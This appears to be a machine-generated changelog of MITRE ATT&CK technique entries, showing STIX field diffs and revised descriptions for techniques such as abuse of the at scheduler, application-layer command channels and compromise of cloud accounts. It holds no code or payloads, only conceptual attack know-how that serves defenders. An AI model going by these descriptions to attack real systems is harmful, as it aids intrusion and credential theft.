Version changed from: 1.6 → 1.7
New Mitigations:
- M1036: Account Use Policies
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-28 15:43:18.080000+00:00 | 2024-10-15 15:38:11.583000+00:00 |
| x_mitre_version | 1.6 | 1.7 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
| x_mitre_platforms | Azure AD | |
[T1499.003] Endpoint Denial of Service: Application Exhaustion Flood
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-25 18:07:45.176000+00:00 | 2024-10-15 15:41:49.168000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1071] Application Layer Protocol
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | Adversaries may communicate using OSI application layer prot | t | Adversaries may communicate using OSI application layer prot |
| ocols to avoid detection/network filtering by blending in wi | | ocols to avoid detection/network filtering by blending in wi |
| th existing traffic. Commands to the remote system, and ofte | | th existing traffic. Commands to the remote system, and ofte |
| n the results of those commands, will be embedded within the | | n the results of those commands, will be embedded within the |
| protocol traffic between the client and server. Adversari | | protocol traffic between the client and server. Adversari |
| es may utilize many different protocols, including those use | | es may utilize many different protocols, including those use |
| d for web browsing, transferring files, electronic mail, or | | d for web browsing, transferring files, electronic mail, DNS |
| DNS. For connections that occur internally within an enclave | | , or publishing/subscribing. For connections that occur inte |
| (such as those between a proxy or pivot node and other node | | rnally within an enclave (such as those between a proxy or p |
| s), commonly used protocols are SMB, SSH, or RDP.(Citation: | | ivot node and other nodes), commonly used protocols are SMB, |
| Mandiant APT29 Eye Spy Email Nov 22) | | SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) |
| | | |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-17 22:52:23.454000+00:00 | 2024-08-28 14:10:33.145000+00:00 |
| description | Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, or DNS. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) | Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Adversaries may utilize many different protocols, including those used for web browsing, transferring files, electronic mail, DNS, or publishing/subscribing. For connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are SMB, SSH, or RDP.(Citation: Mandiant APT29 Eye Spy Email Nov 22) |
| x_mitre_version | 2.2 | 2.3 |
[T1499.004] Endpoint Denial of Service: Application or System Exploitation
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-25 18:11:13.604000+00:00 | 2024-10-15 15:42:23.001000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | SaaS | |
| x_mitre_platforms | Google Workspace | |
[T1053.002] Scheduled Task/Job: At
Current version: 2.3
Version changed from: 2.2 → 2.3
|
|
|---|
| t | Adversaries may abuse the [at](https://attack.mitre.org/soft | t | Adversaries may abuse the [at](https://attack.mitre.org/soft |
| ware/S0110) utility to perform task scheduling for initial o | | ware/S0110) utility to perform task scheduling for initial o |
| r recurring execution of malicious code. The [at](https://at | | r recurring execution of malicious code. The [at](https://at |
| tack.mitre.org/software/S0110) utility exists as an executab | | tack.mitre.org/software/S0110) utility exists as an executab |
| le within Windows, Linux, and macOS for scheduling tasks at | | le within Windows, Linux, and macOS for scheduling tasks at |
| a specified time and date. Although deprecated in favor of [ | | a specified time and date. Although deprecated in favor of [ |
| Scheduled Task](https://attack.mitre.org/techniques/T1053/00 | | Scheduled Task](https://attack.mitre.org/techniques/T1053/00 |
| 5)'s [schtasks](https://attack.mitre.org/software/S0111) in | | 5)'s [schtasks](https://attack.mitre.org/software/S0111) in |
| Windows environments, using [at](https://attack.mitre.org/so | | Windows environments, using [at](https://attack.mitre.org/so |
| ftware/S0110) requires that the Task Scheduler service be ru | | ftware/S0110) requires that the Task Scheduler service be ru |
| nning, and the user to be logged on as a member of the local | | nning, and the user to be logged on as a member of the local |
| Administrators group. On Linux and macOS, [at](https://att | | Administrators group. In addition to explicitly running the |
| ack.mitre.org/software/S0110) may be invoked by the superuse | | `at` command, adversaries may also schedule a task with [at |
| r as well as any users added to the <code>at.allow</code> fi | | ](https://attack.mitre.org/software/S0110) by directly lever |
| le. If the <code>at.allow</code> file does not exist, the <c | | aging the [Windows Management Instrumentation](https://attac |
| ode>at.deny</code> file is checked. Every username not liste | | k.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class |
| d in <code>at.deny</code> is allowed to invoke [at](https:// | | .(Citation: Malicious Life by Cybereason) On Linux and macO |
| attack.mitre.org/software/S0110). If the <code>at.deny</code | | S, [at](https://attack.mitre.org/software/S0110) may be invo |
| > exists and is empty, global use of [at](https://attack.mit | | ked by the superuser as well as any users added to the <code |
| re.org/software/S0110) is permitted. If neither file exists | | >at.allow</code> file. If the <code>at.allow</code> file doe |
| (which is often the baseline) only the superuser is allowed | | s not exist, the <code>at.deny</code> file is checked. Every |
| to use [at](https://attack.mitre.org/software/S0110).(Citati | | username not listed in <code>at.deny</code> is allowed to i |
| on: Linux at) Adversaries may use [at](https://attack.mitre | | nvoke [at](https://attack.mitre.org/software/S0110). If the |
| .org/software/S0110) to execute programs at system startup o | | <code>at.deny</code> exists and is empty, global use of [at] |
| r on a scheduled basis for [Persistence](https://attack.mitr | | (https://attack.mitre.org/software/S0110) is permitted. If n |
| e.org/tactics/TA0003). [at](https://attack.mitre.org/softwar | | either file exists (which is often the baseline) only the su |
| e/S0110) can also be abused to conduct remote [Execution](ht | | peruser is allowed to use [at](https://attack.mitre.org/soft |
| tps://attack.mitre.org/tactics/TA0002) as part of [Lateral M | | ware/S0110).(Citation: Linux at) Adversaries may use [at](h |
| ovement](https://attack.mitre.org/tactics/TA0008) and/or to | | ttps://attack.mitre.org/software/S0110) to execute programs |
| run a process under the context of a specified account (such | | at system startup or on a scheduled basis for [Persistence]( |
| as SYSTEM). In Linux environments, adversaries may also ab | | https://attack.mitre.org/tactics/TA0003). [at](https://attac |
| use [at](https://attack.mitre.org/software/S0110) to break o | | k.mitre.org/software/S0110) can also be abused to conduct re |
| ut of restricted environments by using a task to spawn an in | | mote [Execution](https://attack.mitre.org/tactics/TA0002) as |
| teractive system shell or to run system commands. Similarly, | | part of [Lateral Movement](https://attack.mitre.org/tactics |
| [at](https://attack.mitre.org/software/S0110) may also be u | | /TA0008) and/or to run a process under the context of a spec |
| sed for [Privilege Escalation](https://attack.mitre.org/tact | | ified account (such as SYSTEM). In Linux environments, adve |
| ics/TA0004) if the binary is allowed to run as superuser via | | rsaries may also abuse [at](https://attack.mitre.org/softwar |
| <code>sudo</code>.(Citation: GTFObins at) | | e/S0110) to break out of restricted environments by using a |
| | | task to spawn an interactive system shell or to run system c |
| | | ommands. Similarly, [at](https://attack.mitre.org/software/S |
| | | 0110) may also be used for [Privilege Escalation](https://at |
| | | tack.mitre.org/tactics/TA0004) if the binary is allowed to r |
| | | un as superuser via <code>sudo</code>.(Citation: GTFObins at |
| | | ) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-11-15 14:38:10.876000+00:00 | 2024-10-12 15:53:12.333000+00:00 |
| description | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group.
On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)
Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) | Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial or recurring execution of malicious code. The [at](https://attack.mitre.org/software/S0110) utility exists as an executable within Windows, Linux, and macOS for scheduling tasks at a specified time and date. Although deprecated in favor of [Scheduled Task](https://attack.mitre.org/techniques/T1053/005)'s [schtasks](https://attack.mitre.org/software/S0111) in Windows environments, using [at](https://attack.mitre.org/software/S0110) requires that the Task Scheduler service be running, and the user to be logged on as a member of the local Administrators group. In addition to explicitly running the `at` command, adversaries may also schedule a task with [at](https://attack.mitre.org/software/S0110) by directly leveraging the [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) `Win32_ScheduledJob` WMI class.(Citation: Malicious Life by Cybereason)
On Linux and macOS, [at](https://attack.mitre.org/software/S0110) may be invoked by the superuser as well as any users added to the at.allow file. If the at.allow file does not exist, the at.deny file is checked. Every username not listed in at.deny is allowed to invoke [at](https://attack.mitre.org/software/S0110). If the at.deny exists and is empty, global use of [at](https://attack.mitre.org/software/S0110) is permitted. If neither file exists (which is often the baseline) only the superuser is allowed to use [at](https://attack.mitre.org/software/S0110).(Citation: Linux at)
Adversaries may use [at](https://attack.mitre.org/software/S0110) to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote [Execution](https://attack.mitre.org/tactics/TA0002) as part of [Lateral Movement](https://attack.mitre.org/tactics/TA0008) and/or to run a process under the context of a specified account (such as SYSTEM).
In Linux environments, adversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at) |
| external_references[4]['description'] | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017. | Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved September 12, 2024. |
| external_references[4]['url'] | https://twitter.com/leoloobeek/status/939248813465853953 | https://x.com/leoloobeek/status/939248813465853953 |
| x_mitre_version | 2.2 | 2.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Malicious Life by Cybereason', 'description': 'Philip Tsukerman. (n.d.). No Win32 Process Needed | Expanding the WMI Lateral Movement Arsenal. Retrieved June 19, 2024.', 'url': 'https://www.cybereason.com/blog/wmi-lateral-movement-win32#blog-subscribe'} |
[T1119] Automated Collection
Current version: 1.3
Version changed from: 1.2 → 1.3
New Detections:
- DS0002: User Account (User Account Authentication)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-02 13:35:57.680000+00:00 | 2024-09-25 20:40:07.791000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_data_sources | | User Account: User Account Authentication |
| x_mitre_platforms | | Office Suite |
[T1552.003] Unsecured Credentials: Bash History
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-03-08 21:34:44.728000+00:00 | 2024-09-12 15:24:04.912000+00:00 |
| external_references[1]['description'] | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017. | Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved September 12, 2024. |
| external_references[1]['url'] | http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way | https://www.slideshare.net/slideshow/external-to-da-the-os-x-way/62021418 |
| x_mitre_version | 1.1 | 1.2 |
[T1110] Brute Force
Current version: 2.6
Version changed from: 2.5 → 2.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-01-29 18:53:26.593000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 2.5 | 2.6 |
| x_mitre_platforms[7] | Google Workspace | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1552.008] Unsecured Credentials: Chat Messages
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-11 00:34:00.779000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1070.008] Indicator Removal: Clear Mailbox Data
Current version: 1.2
Version changed from: 1.1 → 1.2
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-12 20:56:32.743000+00:00 | 2024-10-15 15:43:56.839000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.1 | 1.2 |
| x_mitre_platforms[3] | Office 365 | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Google Workspace | |
[T1059.009] Command and Scripting Interpreter: Cloud API
Current version: 1.1
Version changed from: 1.0 → 1.1
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-04-14 18:04:54.607000+00:00 | 2024-10-15 15:44:20.143000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
| x_mitre_platforms[2] | Office 365 | Office Suite |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Google Workspace | |
[T1087.004] Account Discovery: Cloud Account
Current version: 1.3
Version changed from: 1.2 → 1.3
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 3.2.0 |
| x_mitre_deprecated | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-03-16 12:54:41.133000+00:00 | 2024-10-15 15:51:18.808000+00:00 |
| x_mitre_version | 1.2 | 1.3 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1136.003] Create Account: Cloud Account
Current version: 1.6
Version changed from: 1.5 → 1.6
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-28 16:14:28.678000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.5 | 1.6 |
| x_mitre_platforms[3] | Google Workspace | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1078.004] Valid Accounts: Cloud Accounts
Current version: 1.8
Version changed from: 1.7 → 1.8
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-03-29 15:42:13.499000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
| x_mitre_version | 1.7 | 1.8 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_contributors | | Arun Seelagan, CISA |
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1586.003] Compromise Accounts: Cloud Accounts
Current version: 1.1
Version changed from: 1.0 → 1.1
|
|
|---|
| t | Adversaries may compromise cloud accounts that can be used d | t | Adversaries may compromise cloud accounts that can be used d |
| uring targeting. Adversaries can use compromised cloud accou | | uring targeting. Adversaries can use compromised cloud accou |
| nts to further their operations, including leveraging cloud | | nts to further their operations, including leveraging cloud |
| storage services such as Dropbox, Microsoft OneDrive, or AWS | | storage services such as Dropbox, Microsoft OneDrive, or AWS |
| S3 buckets for [Exfiltration to Cloud Storage](https://atta | | S3 buckets for [Exfiltration to Cloud Storage](https://atta |
| ck.mitre.org/techniques/T1567/002) or to [Upload Tool](https | | ck.mitre.org/techniques/T1567/002) or to [Upload Tool](https |
| ://attack.mitre.org/techniques/T1608/002)s. Cloud accounts c | | ://attack.mitre.org/techniques/T1608/002)s. Cloud accounts c |
| an also be used in the acquisition of infrastructure, such a | | an also be used in the acquisition of infrastructure, such a |
| s [Virtual Private Server](https://attack.mitre.org/techniqu | | s [Virtual Private Server](https://attack.mitre.org/techniqu |
| es/T1583/003)s or [Serverless](https://attack.mitre.org/tech | | es/T1583/003)s or [Serverless](https://attack.mitre.org/tech |
| niques/T1583/007) infrastructure. Compromising cloud account | | niques/T1583/007) infrastructure. Additionally, cloud-based |
| s may allow adversaries to develop sophisticated capabilitie | | messaging services such as Twilio, SendGrid, AWS End User Me |
| s without managing their own servers.(Citation: Awake Securi | | ssaging, AWS SNS (Simple Notification Service), or AWS SES ( |
| ty C2 Cloud) A variety of methods exist for compromising cl | | Simple Email Service) may be leveraged for spam or [Phishing |
| oud accounts, such as gathering credentials via [Phishing fo | | ](https://attack.mitre.org/techniques/T1566).(Citation: Palo |
| r Information](https://attack.mitre.org/techniques/T1598), p | | Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Ci |
| urchasing credentials from third-party sites, conducting [Pa | | tation: Netcraft SendGrid 2024) Compromising cloud accounts |
| ssword Spraying](https://attack.mitre.org/techniques/T1110/0 | | may allow adversaries to develop sophisticated capabilities |
| 03) attacks, or attempting to [Steal Application Access Toke | | without managing their own servers.(Citation: Awake Security |
| n](https://attack.mitre.org/techniques/T1528)s.(Citation: MS | | C2 Cloud) A variety of methods exist for compromising clou |
| TIC Nobelium Oct 2021) Prior to compromising cloud accounts, | | d accounts, such as gathering credentials via [Phishing for |
| adversaries may conduct Reconnaissance to inform decisions | | Information](https://attack.mitre.org/techniques/T1598), pur |
| about which accounts to compromise to further their operatio | | chasing credentials from third-party sites, conducting [Pass |
| n. In some cases, adversaries may target privileged service | | word Spraying](https://attack.mitre.org/techniques/T1110/003 |
| provider accounts with the intent of leveraging a [Trusted R | | ) attacks, or attempting to [Steal Application Access Token] |
| elationship](https://attack.mitre.org/techniques/T1199) betw | | (https://attack.mitre.org/techniques/T1528)s.(Citation: MSTI |
| een service providers and their customers.(Citation: MSTIC N | | C Nobelium Oct 2021) Prior to compromising cloud accounts, a |
| obelium Oct 2021) | | dversaries may conduct Reconnaissance to inform decisions ab |
| | | out which accounts to compromise to further their operation. |
| | | In some cases, adversaries may target privileged service pr |
| | | ovider accounts with the intent of leveraging a [Trusted Rel |
| | | ationship](https://attack.mitre.org/techniques/T1199) betwee |
| | | n service providers and their customers.(Citation: MSTIC Nob |
| | | elium Oct 2021) |
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2022-10-21 14:21:57.991000+00:00 | 2024-10-16 21:26:36.312000+00:00 |
| description | Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021) | Adversaries may compromise cloud accounts that can be used during targeting. Adversaries can use compromised cloud accounts to further their operations, including leveraging cloud storage services such as Dropbox, Microsoft OneDrive, or AWS S3 buckets for [Exfiltration to Cloud Storage](https://attack.mitre.org/techniques/T1567/002) or to [Upload Tool](https://attack.mitre.org/techniques/T1608/002)s. Cloud accounts can also be used in the acquisition of infrastructure, such as [Virtual Private Server](https://attack.mitre.org/techniques/T1583/003)s or [Serverless](https://attack.mitre.org/techniques/T1583/007) infrastructure. Additionally, cloud-based messaging services such as Twilio, SendGrid, AWS End User Messaging, AWS SNS (Simple Notification Service), or AWS SES (Simple Email Service) may be leveraged for spam or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)(Citation: Netcraft SendGrid 2024) Compromising cloud accounts may allow adversaries to develop sophisticated capabilities without managing their own servers.(Citation: Awake Security C2 Cloud)
A variety of methods exist for compromising cloud accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, conducting [Password Spraying](https://attack.mitre.org/techniques/T1110/003) attacks, or attempting to [Steal Application Access Token](https://attack.mitre.org/techniques/T1528)s.(Citation: MSTIC Nobelium Oct 2021) Prior to compromising cloud accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation. In some cases, adversaries may target privileged service provider accounts with the intent of leveraging a [Trusted Relationship](https://attack.mitre.org/techniques/T1199) between service providers and their customers.(Citation: MSTIC Nobelium Oct 2021) |
| x_mitre_attack_spec_version | 2.1.0 | 3.2.0 |
| x_mitre_version | 1.0 | 1.1 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022', 'description': 'Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.', 'url': 'https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/'} |
| external_references | | {'source_name': 'Netcraft SendGrid 2024', 'description': 'Graham Edgecombe. (2024, February 7). Phishception – SendGrid is abused to host phishing attacks impersonating itself. Retrieved October 15, 2024.', 'url': 'https://www.netcraft.com/blog/popular-email-platform-used-to-impersonate-itself/'} |
[T1069.003] Permission Groups Discovery: Cloud Groups
Current version: 1.5
Version changed from: 1.4 → 1.5
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-03-21 13:33:40.625000+00:00 | 2024-10-15 15:51:35.759000+00:00 |
| x_mitre_attack_spec_version | 3.1.0 | 3.2.0 |
| x_mitre_version | 1.4 | 1.5 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
| x_mitre_platforms | | Identity Provider |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
| x_mitre_platforms | Google Workspace | |
[T1538] Cloud Service Dashboard
Current version: 1.4
Version changed from: 1.3 → 1.4
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2024-04-19 04:25:33.300000+00:00 | 2024-10-15 15:51:56.279000+00:00 |
| x_mitre_version | 1.3 | 1.4 |
| x_mitre_platforms[3] | Google Workspace | Identity Provider |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | | Office Suite |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_platforms | Azure AD | |
| x_mitre_platforms | Office 365 | |
[T1526] Cloud Service Discovery
Current version: 1.4
Version changed from: 1.3 → 1.4
|
|
|---|
| t | An adversary may attempt to enumerate the cloud services run | t | An adversary may attempt to enumerate the cloud services run |
| ning on a system after gaining access. These methods can dif | | ning on a system after gaining access. These methods can dif |
| fer from platform-as-a-service (PaaS), to infrastructure-as- | | fer from platform-as-a-service (PaaS), to infrastructure-as- |
| a-service (IaaS), or software-as-a-service (SaaS). Many serv | | a-service (IaaS), or software-as-a-service (SaaS). Many serv |
| ices exist throughout the various cloud providers and can in | | ices exist throughout the various cloud providers and can in |
| clude Continuous Integration and Continuous Delivery (CI/CD) | | clude Continuous Integration and Continuous Delivery (CI/CD) |
| , Lambda Functions, Azure AD, etc. They may also include sec | | , Lambda Functions, Entra ID, etc. They may also include sec |
| urity services, such as AWS GuardDuty and Microsoft Defender | | urity services, such as AWS GuardDuty and Microsoft Defender |
| for Cloud, and logging services, such as AWS CloudTrail and | | for Cloud, and logging services, such as AWS CloudTrail and |
| Google Cloud Audit Logs. Adversaries may attempt to discov | | Google Cloud Audit Logs. Adversaries may attempt to discov |
| er information about the services enabled throughout the env | | er information about the services enabled throughout the env |
| ironment. Azure tools and APIs, such as the Azure AD Graph A | | ironment. Azure tools and APIs, such as the Microsoft Graph |
| PI and Azure Resource Manager API, can enumerate resources a | | API and Azure Resource Manager API, can enumerate resources |
| nd services, including applications, management groups, reso | | and services, including applications, management groups, res |
| urces and policy definitions, and their relationships that a | | ources and policy definitions, and their relationships that |
| re accessible by an identity.(Citation: Azure - Resource Man | | are accessible by an identity.(Citation: Azure - Resource Ma |
| ager API)(Citation: Azure AD Graph API) For example, Storms | | nager API)(Citation: Azure AD Graph API) For example, Storm |
| potter is an open source tool for enumerating and constructi | | spotter is an open source tool for enumerating and construct |
| ng a graph for Azure resources and services, and Pacu is an | | ing a graph for Azure resources and services, and Pacu is an |
| open source AWS exploitation framework that supports several | | open source AWS exploitation framework that supports severa |
| methods for discovering cloud services.(Citation: Azure - S | | l methods for discovering cloud services.(Citation: Azure - |
| tormspotter)(Citation: GitHub Pacu) Adversaries may use the | | Stormspotter)(Citation: GitHub Pacu) Adversaries may use th |
| information gained to shape follow-on behaviors, such as ta | | e information gained to shape follow-on behaviors, such as t |
| rgeting data or credentials from enumerated services or evad | | argeting data or credentials from enumerated services or eva |
| ing identified defenses through [Disable or Modify Tools](ht | | ding identified defenses through [Disable or Modify Tools](h |
| tps://attack.mitre.org/techniques/T1562/001) or [Disable or | | ttps://attack.mitre.org/techniques/T1562/001) or [Disable or |
| Modify Cloud Logs](https://attack.mitre.org/techniques/T1562 | | Modify Cloud Logs](https://attack.mitre.org/techniques/T156 |
| /008). | | 2/008). |
New Detections:
- DS0028: Logon Session (Logon Session Creation)
Details
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2023-05-04 18:01:44.086000+00:00 | 2024-10-14 22:11:30.271000+00:00 |
